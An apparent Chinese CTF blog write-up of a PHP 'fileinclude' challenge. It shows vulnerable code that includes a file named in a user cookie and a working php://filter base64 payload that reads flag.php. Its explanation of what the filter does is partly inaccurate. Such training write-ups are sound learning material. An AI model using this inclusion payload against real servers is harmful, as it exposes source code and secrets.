Web安全攻防世界01 fileinclude(宜兴网信办)

复制代码
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//规定 HTML 文档的字符集
 
<br />
<b>Notice</b>:  Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//页面显示内容,其中提示了language的设置与地址,flag所在地址。
 
<?php
if( !ini_get('display_errors') ) { //如果 环境变量未设置错误回显
  ini_set('display_errors', 'On'); //则 开启错误信息回显
  }
error_reporting(E_ALL); //报告所有类型的错误
$lan = $_COOKIE['language']; //将cookie中['language']的值赋予lan
if(!$lan) //如果变量 lan为0
{
	@setcookie("language","english"); //向客户端发送cookie(名称为"language",值为"english")
	@include("english.php"); //文件包含(调用文件"english.php")
}
else //若不满足上述条件
{
	@include($lan.".php"); //文件包含(调用变量$lan,添加后缀".php")
}
$x=file_get_contents('index.php'); //将文件 index.php的内容读入变量 x中
echo $x; //输出 变量x的值
?>
</html></html>

所以题目的关键在于达成这第15行的条件:

lan = _COOKIE['language'];

在cookie中的内容language 会被传到变量lan,继而在第23行@include(lan.".php");被调用与执行,因此cookie变量中很适合写入读取flag.php的payload~

2)采用chrome的扩展工具hackbar 添加cookie的值;解题的思路与上面是一致的:F12调出开发者工具,操作步骤如下图就可以~

Name:cookie

Value:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag(不懂

根据提供的Value,它使用了一种特殊的编码方式,即base64编码。在这个设置中,它将文件/var/www/html/flag进行了base64编码,并将编码后的结果作为cookie的值。

相关推荐
薿夜1 小时前
SpringSecurity(三)
android
星河耀银海2 小时前
远控体验分享:安全与实用性参考
人工智能·安全·微服务
赛博云推-Twitter热门霸屏工具3 小时前
Twitter运营完整流程:从0到引流获客全流程拆解(2026)
运维·安全·自动化·媒体·twitter
xixixi777774 小时前
通信领域的“中国速度”:从5G-A到6G,从地面到星空
人工智能·5g·安全·ai·fpga开发·多模态
CV-杨帆6 小时前
ICLR 2026 LLM安全相关论文整理
人工智能·深度学习·安全
byoass6 小时前
csdn_upload_005
网络·安全·云计算
zh_xuan7 小时前
Android Hilt实现依赖注入
android·hilt
freshman_y7 小时前
Qtcreator怎么新建安卓项目?编写一个五子棋游戏APP?
android·qt
时寒的笔记8 小时前
js逆向7_案例惠nong网
android·开发语言·javascript
qq_260241238 小时前
将盾CDN:API安全防护与接口防刷实战策略
安全